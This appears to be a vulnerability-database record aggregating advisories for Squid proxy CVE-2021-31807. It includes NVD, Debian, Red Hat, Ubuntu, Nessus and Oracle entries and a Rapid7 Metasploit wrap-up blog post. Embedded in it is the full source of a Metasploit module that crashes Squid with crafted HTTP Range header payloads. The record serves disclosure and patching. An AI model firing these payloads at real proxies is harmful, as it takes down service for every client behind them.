squid is vulnerable to denial of service (DoS). The vulnerability exists through an incorrect memory management bug that affects all clients using the proxy.
{"cve": [{"lastseen": "2023-02-09T14:20:49", "description": "An issue was discovered in Squid before 4.15 and 5.x before 5.0.6. An integer overflow problem allows a remote server to achieve Denial of Service when delivering responses to HTTP Range requests. The issue trigger is a header that can be expected to exist in HTTP traffic without any malicious intent.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "LOW", "baseScore": 6.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-06-08T20:15:00", "type": "cve", "title": "CVE-2021-31807", "cwe": ["CWE-190"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.0, "vectorString": "AV:N/AC:L/Au:S/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31807"], "modified": "2021-09-14T14:31:00", "cpe": ["cpe:/o:fedoraproject:fedora:34", "cpe:/a:netapp:cloud_manager:-", "cpe:/a:squid-cache:squid:2.5.stable5", "cpe:/a:squid-cache:squid:2.5.stable7", "cpe:/a:squid-cache:squid:2.6", "cpe:/a:squid-cache:squid:2.5.stable2", "cpe:/a:squid-cache:squid:2.5.stable3", "cpe:/a:squid-cache:squid:2.5.stable6", "cpe:/a:squid-cache:squid:2.5.stable13", "cpe:/a:squid-cache:squid:2.5.stable14", "cpe:/a:squid-cache:squid:2.7", "cpe:/a:squid-cache:squid:2.5.stable4", "cpe:/a:squid-cache:squid:2.5.stable11", "cpe:/a:squid-cache:squid:2.5.stable12", "cpe:/o:fedoraproject:fedora:33", "cpe:/a:squid-cache:squid:2.5.stable9", "cpe:/a:squid-cache:squid:2.5.stable8", "cpe:/a:squid-cache:squid:2.5.stable10"], "id": "CVE-2021-31807", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-31807", "cvss": {"score": 4.0, "vector": "AV:N/AC:L/Au:S/C:N/I:N/A:P"}, "cpe23": ["cpe:2.3:a:squid-cache:squid:2.5.stable14:*:*:*:*:*:*:*", "cpe:2.3:a:squid-cache:squid:2.6:*:*:*:*:*:*:*", "cpe:2.3:a:squid-cache:squid:2.5.stable3:*:*:*:*:*:*:*", "cpe:2.3:a:squid-cache:squid:2.7:stable7:*:*:*:*:*:*", "cpe:2.3:a:squid-cache:squid:2.5.stable8:*:*:*:*:*:*:*", "cpe:2.3:a:squid-cache:squid:2.7:stable5:*:*:*:*:*:*", "cpe:2.3:a:netapp:cloud_manager:-:*:*:*:*:*:*:*", "cpe:2.3:a:squid-cache:squid:2.5.stable13:*:*:*:*:*:*:*", "cpe:2.3:a:squid-cache:squid:2.5.stable5:*:*:*:*:*:*:*", "cpe:2.3:a:squid-cache:squid:2.5.stable4:*:*:*:*:*:*:*", "cpe:2.3:a:squid-cache:squid:2.5.stable12:*:*:*:*:*:*:*", "cpe:2.3:a:squid-cache:squid:2.5.stable6:*:*:*:*:*:*:*", "cpe:2.3:a:squid-cache:squid:2.5.stable10:*:*:*:*:*:*:*", "cpe:2.3:a:squid-cache:squid:2.7:stable2:*:*:*:*:*:*", "cpe:2.3:a:squid-cache:squid:2.5.stable2:*:*:*:*:*:*:*", "cpe:2.3:o:fedoraproject:fedora:33:*:*:*:*:*:*:*", "cpe:2.3:a:squid-cache:squid:2.5.stable7:*:*:*:*:*:*:*", "cpe:2.3:a:squid-cache:squid:2.7:stable4:*:*:*:*:*:*", "cpe:2.3:a:squid-cache:squid:2.5.stable11:*:*:*:*:*:*:*", "cpe:2.3:a:squid-cache:squid:2.7:stable9:*:*:*:*:*:*", "cpe:2.3:o:fedoraproject:fedora:34:*:*:*:*:*:*:*", "cpe:2.3:a:squid-cache:squid:2.7:stable8:*:*:*:*:*:*", "cpe:2.3:a:squid-cache:squid:2.7:stable6:*:*:*:*:*:*", "cpe:2.3:a:squid-cache:squid:2.7:-:*:*:*:*:*:*", "cpe:2.3:a:squid-cache:squid:2.7:stable3:*:*:*:*:*:*", "cpe:2.3:a:squid-cache:squid:2.5.stable9:*:*:*:*:*:*:*"]}], "debiancve": [{"lastseen": "2022-12-17T15:21:18", "description": "An issue was discovered in Squid before 4.15 and 5.x before 5.0.6. An integer overflow problem allows a remote server to achieve Denial of Service when delivering responses to HTTP Range requests. The issue trigger is a header that can be expected to exist in HTTP traffic without any malicious intent.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "LOW", "baseScore": 6.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-06-08T20:15:00", "type": "debiancve", "title": "CVE-2021-31807", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.0, "vectorString": "AV:N/AC:L/Au:S/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31807"], "modified": "2021-06-08T20:15:00", "id": "DEBIANCVE:CVE-2021-31807", "href": "https://security-tracker.debian.org/tracker/CVE-2021-31807", "cvss": {"score": 4.0, "vector": "AV:N/AC:L/Au:S/C:N/I:N/A:P"}}], "redhatcve": [{"lastseen": "2023-03-08T20:17:01", "description": "An incorrect memory management flaw was found in Squid, where it is vulnerable to a denial of service attack against all clients using the proxy. The highest threat from this vulnerability is to system availability.\n#### Mitigation\n\nMitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability. \n\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "LOW", "baseScore": 6.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-05-20T11:21:28", "type": "redhatcve", "title": "CVE-2021-31807", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.0, "vectorString": "AV:N/AC:L/Au:S/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31807"], "modified": "2023-03-08T19:51:35", "id": "RH:CVE-2021-31807", "href": "https://access.redhat.com/security/cve/cve-2021-31807", "cvss": {"score": 4.0, "vector": "AV:N/AC:L/Au:S/C:N/I:N/A:P"}}], "ubuntucve": [{"lastseen": "2022-10-26T13:33:47", "description": "An issue was discovered in Squid before 4.15 and 5.x before 5.0.6. An\ninteger overflow problem allows a remote server to achieve Denial of\nService when delivering responses to HTTP Range requests. The issue trigger\nis a header that can be expected to exist in HTTP traffic without any\nmalicious intent.\n\n#### Bugs\n\n * <http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=989043>\n * <https://bugzilla.suse.com/show_bug.cgi?id=1185916>\n\n\n#### Notes\n\nAuthor| Note \n---|--- \n[mdeslaur](<https://launchpad.net/~mdeslaur>) | same commit as CVE-2021-31806\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "LOW", "baseScore": 6.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-05-28T00:00:00", "type": "ubuntucve", "title": "CVE-2021-31807", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.0, "vectorString": "AV:N/AC:L/Au:S/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31806", "CVE-2021-31807"], "modified": "2021-05-28T00:00:00", "id": "UB:CVE-2021-31807", "href": "https://ubuntu.com/security/CVE-2021-31807", "cvss": {"score": 4.0, "vector": "AV:N/AC:L/Au:S/C:N/I:N/A:P"}}], "metasploit": [{"lastseen": "2022-11-01T15:53:47", "description": "The range handler in The Squid Caching Proxy Server 3.0-4.1.4 and 5.0.1-5.0.5 suffers from multiple vulnerabilities triggered by specific HTTP requests and responses. These vulnerabilities allow remote attackers to cause a denial of service through specifically crafted requests.\n", "cvss3": {}, "published": "2021-10-07T11:29:56", "type": "metasploit", "title": "Squid Proxy Range Header DoS", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2021-31806", "CVE-2021-31807"], "modified": "2021-10-21T17:15:30", "id": "MSF:AUXILIARY-DOS-HTTP-SQUID_RANGE_DOS-", "href": "https://www.rapid7.com/db/modules/auxiliary/dos/http/squid_range_dos/", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Auxiliary\n include Msf::Exploit::Remote::HttpClient\n include Msf::Exploit::Remote::HttpServer\n include Msf::Auxiliary::Dos\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Squid Proxy Range Header DoS',\n 'Description' => %q{\n The range handler in The Squid Caching Proxy Server 3.0-4.1.4 and\n 5.0.1-5.0.5 suffers from multiple vulnerabilities triggered\n by specific HTTP requests and responses.\n\n These vulnerabilities allow remote attackers to cause a\n denial of service through specifically crafted requests.\n },\n 'Author' => [\n 'Joshua Rogers' # Discoverer, and Metasploit Module\n ],\n 'License' => MSF_LICENSE,\n 'Actions' => [\n ['DOS', { 'Description' => 'Perform Denial of Service Against The Target' }]\n ],\n 'DefaultAction' => 'DOS',\n 'References' => [\n [ 'CVE', '2021-31806'],\n [ 'CVE', '2021-31807'],\n [ 'URL', 'https://blogs.opera.com/security/2021/10/fuzzing-http-proxies-squid-part-2/']\n ],\n 'DisclosureDate' => '2021-05-27',\n 'Notes' => {\n 'Stability' => [ CRASH_SERVICE_DOWN ],\n 'Reliability' => [ ],\n 'SideEffects' => [ IOC_IN_LOGS ]\n }\n )\n )\n\n register_options(\n [\n Opt::RPORT(3128),\n OptInt.new('REQUEST_COUNT', [ true, 'The number of requests to be sent, as well as the number of re-tries to confirm a dead host', 50 ]),\n OptEnum.new('CVE', [\n true, 'CVE to check/exploit', 'CVE-2021-31806',\n ['CVE-2021-31806', 'CVE-2021-31807']\n ]),\n ]\n )\n end\n\n def on_request_uri(cli, _request)\n # The Last-Modified response header must be set such that Squid caches the page.\n send_response(cli, '<html></html>', { 'Last-Modified' => 'Mon, 01 Jan 2020 00:00:00 GMT' })\n end\n\n def run\n count = 0\n error_count = 0 # The amount of connection errors from the server.\n reqs = datastore['REQUEST_COUNT'] # The maximum amount of requests (with a valid response) to the server.\n\n print_status(\"Sending #{reqs} DoS requests to #{peer}\")\n\n start_service\n\n while reqs > count\n begin\n res = req(datastore['CVE'])\n rescue Errno::ECONNRESET\n res = nil\n end\n\n if res && (res.code == 200) && (count == 0)\n count = 1\n print_status(\"Sent first request to #{rhost}:#{rport}\")\n elsif res\n print_status(\"Sent DoS request #{count} to #{rhost}:#{rport}\")\n count += 1\n error_count = 0\n\n next # Host could be completely dead, or just waiting for another Squid child.\n elsif count == 0\n print_error('Cannot connect to host.')\n return\n end\n\n error_count += 1\n next unless error_count > reqs # If we cannot connect after `res` amount of attempts, assume the DoS was successful.\n\n print_good('DoS completely successful.')\n report_vuln(\n host: rhost,\n port: rport,\n name: name,\n refs: references\n )\n return\n end\n print_error('Looks like the host is not vulnerable.')\n end\n\n def req(cve)\n case cve\n when 'CVE-2021-31806'\n sploit = cve_2021_31806\n when 'CVE-2021-31807'\n sploit = cve_2021_31807\n end\n\n send_request_raw({\n 'uri' => get_uri,\n 'headers' => {\n 'Host' => \"#{srvhost_addr}:#{srvport}\",\n 'Range' => sploit,\n 'Cache-Control' => 'public'\n }\n })\n end\n\n def cve_2021_31806\n # This will cause Squid to assert with \"http->out.offset <= start\"\n %(bytes=0-0,-0,-1)\n end\n\n def cve_2021_31807\n # This will cause Squid to assert with \"!http->range_iter.debt() == !http->range_iter.currentSpec()\"\n %(bytes=0-0,-4,-0)\n end\n\nend\n", "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/auxiliary/dos/http/squid_range_dos.rb", "cvss": {"score": 0.0, "vector": "NONE"}}], "nessus": [{"lastseen": "2023-01-11T14:57:02", "description": "According to the versions of the squid packages installed, the EulerOS installation on the remote host is affected by the following vulnerabilities :\n\n - An issue was discovered in Squid before 4.15 and 5.x before 5.0.6. Due to a buffer-management bug, it allows a denial of service. When resolving a request with the urn: scheme, the parser leaks a small amount of memory. However, there is an unspecified attack methodology that can easily trigger a large amount of memory consumption. (CVE-2021-28651)\n\n - An issue was discovered in Squid before 4.15 and 5.x before 5.0.6. Due to a memory-management bug, it is vulnerable to a Denial of Service attack (against all clients using the proxy) via HTTP Range request processing. (CVE-2021-31806)\n\n - An issue was discovered in Squid before 4.15 and 5.x before 5.0.6. An integer overflow problem allows a remote server to achieve Denial of Service when delivering responses to HTTP Range requests. The issue trigger is a header that can be expected to exist in HTTP traffic without any malicious intent.\n (CVE-2021-31807)\n\n - An issue was discovered in Squid before 4.15 and 5.x before 5.0.6. Due to an input-validation bug, it is vulnerable to a Denial of Service attack (against all clients using the proxy). A client sends an HTTP Range request to trigger this. (CVE-2021-31808)\n\n - Squid before 4.15 and 5.x before 5.0.6 allows remote servers to cause a denial of service (affecting availability to all clients) via an HTTP response. The issue trigger is a header that can be expected to exist in HTTP traffic without any malicious intent by the server. (CVE-2021-33620)\n\nNote that Tenable Network Security has extracted the preceding description block directly from the EulerOS security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-10-25T00:00:00", "type": "nessus", "title": "EulerOS 2.0 SP3 : squid (EulerOS-SA-2021-2618)", "bulletinFamily": "scanner", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-28651", "CVE-2021-31806", "CVE-2021-31807", "CVE-2021-31808", "CVE-2021-33620"], "modified": "2021-10-25T00:00:00", "cpe": ["p-cpe:/a:huawei:euleros:squid", "p-cpe:/a:huawei:euleros:squid-migration-script", "cpe:/o:huawei:euleros:2.0"], "id": "EULEROS_SA-2021-2618.NASL", "href": "https://www.tenable.com/plugins/nessus/154370", "sourceData": "#%NASL_MIN_LEVEL 70300\n##\n# (C) Tenable Network Security, Inc.\n##\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(154370);\n script_version(\"1.2\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/10/25\");\n\n script_cve_id(\n \"CVE-2021-28651\",\n \"CVE-2021-31806\",\n \"CVE-2021-31807\",\n \"CVE-2021-31808\",\n \"CVE-2021-33620\"\n );\n\n script_name(english:\"EulerOS 2.0 SP3 : squid (EulerOS-SA-2021-2618)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote EulerOS host is missing multiple security updates.\");\n script_set_attribute(attribute:\"description\", value:\n\"According to the versions of the squid packages installed, the EulerOS installation on the remote host is affected by\nthe following vulnerabilities :\n\n - An issue was discovered in Squid before 4.15 and 5.x before 5.0.6. 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squid:4 rebase to 4.15\n[7:4.11-5]\n- Resolves: #1944261 - CVE-2020-25097 squid:4/squid: improper input validation\n may allow a trusted client to perform HTTP Request Smuggling", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-11-16T00:00:00", "type": "oraclelinux", "title": "squid:4 security, bug fix, and enhancement update", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-28651", "CVE-2021-28652", "CVE-2021-28662", "CVE-2021-31806", "CVE-2021-31807", "CVE-2021-31808", "CVE-2021-33620"], "modified": "2021-11-16T00:00:00", "id": "ELSA-2021-4292", "href": "http://linux.oracle.com/errata/ELSA-2021-4292.html", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}}], "rapid7blog": [{"lastseen": "2021-10-29T19:03:07", "description": "## OMIGOD It's RCE\n\n\n\nWe are excited to announce that we now have a module for the OMIGOD vulnerability that exploits [CVE-2021-38647](<https://attackerkb.com/topics/08O94gYdF1/cve-2021-38647?referrer=blog>) courtesy of our very own Spencer McIntyre! Successful exploitation will allow an unauthenticated attacker to gain `root` level code execution against affected servers. Given that this has seen exploitation in the wild by the Mirai botnet, we hope you're patched, lest your servers decide to join the zombie horde this Halloween!\n\n## Sophos Contributes to the RCE Pile\n\nContinuing the trend of unauthenticated RCE exploits that grant `root` level code execution, this week we also have an exploit for [CVE-2020-25223](<https://attackerkb.com/topics/rOhVHstwNO/cve-2020-25223?referrer=blog>), an unauthenticated RCE within the Sophos UTM WebAdmin service. Whilst we haven't yet seen exploitation in the wild of this bug, this is definitely one to patch given its severity. Stay frosty folks!\n\n## Guess Who\u2019s Back, Back Again, Apache's Back, Tell a Friend\n\nWhilst not a marshalling bug (I'm sorry, it's Halloween some puns are needed), community contributors Ash Daulton, Dhiraj Mishra, and mekhalleh (RAMELLA S\u00e9bastien), have added a scanner and exploit for [CVE-2021-41773](<https://attackerkb.com/topics/1RltOPCYqE/cve-2021-41773?referrer=blog>) and [CVE-2021-42013](<https://attackerkb.com/topics/CVE-2021-42013?referrer=blog>), which was based off of work from [RootUp](<https://github.com/RootUp/PersonalStuff/blob/master/http-vuln-cve-2021-41773.nse>), [ProjectDiscovery](<https://github.com/projectdiscovery/nuclei-templates/blob/master/vulnerabilities/apache/apache-httpd-rce.yaml>), and [HackerFantastic](<https://twitter.com/hackerfantastic/status/1445531829985968137>). Path traversal vulnerabilities are relatively easy to exploit, and this got a lot of attention in the news since it's been a long time since Apache has seen a reliable RCE exploit against it. This is definitely one to patch if you're running any Apache servers. Successful exploitation will result in remote code execution as the user running the Apache server.\n\n## New module content (6)\n\n * [Squid Proxy Range Header DoS](<https://github.com/rapid7/metasploit-framework/pull/15756>) by Joshua Rogers, which exploits [CVE-2021-31806](<https://attackerkb.com/topics/2k0UqRcdTC/cve-2021-31806?referrer=search>) and [CVE-2021-31807](<https://attackerkb.com/topics/xIwbe92O2s/cve-2021-31807?referrer=blog>) \\- This adds a module that leverages CVE-2021-31806 and CVE-2021-31807 to trigger a denial of service condition in vulnerable Squid proxy servers.\n * [Apache 2.4.49/2.4.50 Traversal RCE scanner](<https://github.com/rapid7/metasploit-framework/pull/15754>) by Ash Daulton, Dhiraj Mishra, and mekhalleh (RAMELLA S\u00e9bastien), which exploits [CVE-2021-41773](<https://attackerkb.com/topics/1RltOPCYqE/cve-2021-41773?referrer=search>) and [CVE-2021-42013](<https://attackerkb.com/topics/CVE-2021-42013?referrer=blog>) \\- This adds both a scanner and exploit module for the two recent path traversal vulnerabilities in the apache2 HTTP server. The RCE module requires `mod_cgi` to be enabled but can be exploited remotely without any authentication. These vulnerabilities are identified as CVE-2021-41773 and CVE-2021-42013.\n * [Sophos UTM WebAdmin SID Command Injection](<https://github.com/rapid7/metasploit-framework/pull/15783>) by wvu and Justin Kennedy, which exploits [CVE-2020-25223](<https://attackerkb.com/topics/rOhVHstwNO/cve-2020-25223?referrer=blog>) \\- This adds an exploit for CVE-2020-25223 which is an unauthenticated RCE within the Sophos UTM WebAdmin service. Exploitation results in OS command execution as the `root` user.\n * [Microsoft OMI Management Interface Authentication Bypass](<https://github.com/rapid7/metasploit-framework/pull/15800>) by wvu, Nir Ohfeld, Shir Tamari, and Spencer McIntyre, which exploits [CVE-2021-38647](<https://attackerkb.com/topics/08O94gYdF1/cve-2021-38647?referrer=blog>) \\- We added an unauthenticated RCE exploit for Microsoft OMI "OMIGOD" CVE-2021-38647. Successful exploitation grants code execution as the `root` user.\n * [Apache 2.4.49/2.4.50 Traversal RCE](<https://github.com/rapid7/metasploit-framework/pull/15754>) by Ash Daulton, Dhiraj Mishra, and mekhalleh (RAMELLA S\u00e9bastien), which exploits [CVE-2021-41773](<https://attackerkb.com/topics/1RltOPCYqE/cve-2021-41773?referrer=search>) and [CVE-2021-42013](<https://attackerkb.com/topics/CVE-2021-42013?referrer=blog>) \\- This adds both a scanner and exploit module for the two recent path traversal vulnerabilities in the apache2 HTTP server. The RCE module requires `mod_cgi` to be enabled but can be exploited remotely without any authentication. These vulnerabilities are identified as CVE-2021-41773 and CVE-2021-42013.\n * [Browse the session filesystem in a Web Browser](<https://github.com/rapid7/metasploit-framework/pull/15558>) by timwr - This adds a post module that allows the user to view the Meterpreter sessions filesystem via a locally hosted web page.\n\n## Enhancements and features\n\n * [#15681](<https://github.com/rapid7/metasploit-framework/pull/15681>) from [smashery](<https://github.com/smashery>) \\- This adds support for reverse port forwarding via established SSH sessions.\n * [#15778](<https://github.com/rapid7/metasploit-framework/pull/15778>) from [k0pak4](<https://github.com/k0pak4>) \\- This PR adds documentation for the http trace scanner.\n * [#15788](<https://github.com/rapid7/metasploit-framework/pull/15788>) from [zeroSteiner](<https://github.com/zeroSteiner>) \\- When generating a Powershell command payload would exceed the maximum length allowed to successfully execute, gracefully fall back to omitting an ASMI bypass.\n * [#15803](<https://github.com/rapid7/metasploit-framework/pull/15803>) from [k0pak4](<https://github.com/k0pak4>) \\- This adds f5_bigip_virtual_server scanner documentation.\n\n## Bugs fixed\n\n * [#15799](<https://github.com/rapid7/metasploit-framework/pull/15799>) from [adfoster-r7](<https://github.com/adfoster-r7>) \\- This fixes a crash in the `iis_internal_ip` module.\n\n## Get it\n\nAs always, you can update to the latest Metasploit Framework with `msfupdate` and you can get more details on the changes since the last blog post from GitHub:\n\n * [Pull Requests 6.1.11...6.1.12](<https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222021-10-21T11%3A22%3A54-04%3A00..2021-10-28T08%3A17%3A18-05%3A00%22>)\n * [Full diff 6.1.11...6.1.12](<https://github.com/rapid7/metasploit-framework/compare/6.1.11...6.1.12>)\n\nIf you are a `git` user, you can clone the [Metasploit Framework repo](<https://github.com/rapid7/metasploit-framework>) (master branch) for the latest version of Metasploit Framework. To install fresh without using `git`, you can use the open-source-only [Nightly Installers](<https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers>) or the [binary installers](<https://www.rapid7.com/products/metasploit/download.jsp>) (which also include the commercial edition).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-10-29T17:59:46", "type": "rapid7blog", "title": "Metasploit Wrap-Up", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-25223", "CVE-2021-31806", "CVE-2021-31807", "CVE-2021-38647", "CVE-2021-41773", "CVE-2021-42013"], "modified": "2021-10-29T17:59:46", "id": "RAPID7BLOG:8C1A6CAF7B07CD1A38A8D65351756A2F", "href": "https://blog.rapid7.com/2021/10/29/metasploit-wrap-up-136/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "debian": [{"lastseen": "2022-02-16T23:32:00", "description": "- -------------------------------------------------------------------------\nDebian Security Advisory DSA-4924-1 security@debian.org\nhttps://www.debian.org/security/ Moritz Muehlenhoff\nJune 01, 2021 https://www.debian.org/security/faq\n- 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"LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "baseScore": 7.5, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 3.6}, "published": "2021-06-01T19:38:13", "type": "debian", "title": "[SECURITY] [DSA 4924-1] squid security update", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-28651", "CVE-2021-28652", "CVE-2021-28662", "CVE-2021-31806", "CVE-2021-31807", "CVE-2021-31808"], "modified": "2021-06-01T19:38:13", "id": "DEBIAN:DSA-4924-1:931B6", "href": "https://lists.debian.org/debian-security-announce/2021/msg00107.html", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}}, {"lastseen": "2022-01-04T14:41:02", "description": "- -------------------------------------------------------------------------\nDebian LTS Advisory DLA-2685-1 debian-lts@lists.debian.org\nhttps://www.debian.org/lts/security/ Abhijith PA\nJune 14, 2021 https://wiki.debian.org/LTS\n- -------------------------------------------------------------------------\n\nPackage : squid3\nVersion : 3.5.23-5+deb9u7\nCVE ID : CVE-2021-28651 CVE-2021-28652 CVE-2021-31806 CVE-2021-31807 \n CVE-2021-31808 CVE-2021-33620\n\nSeveral vulnerabilities were discovered in Squid, a proxy caching \nserver. 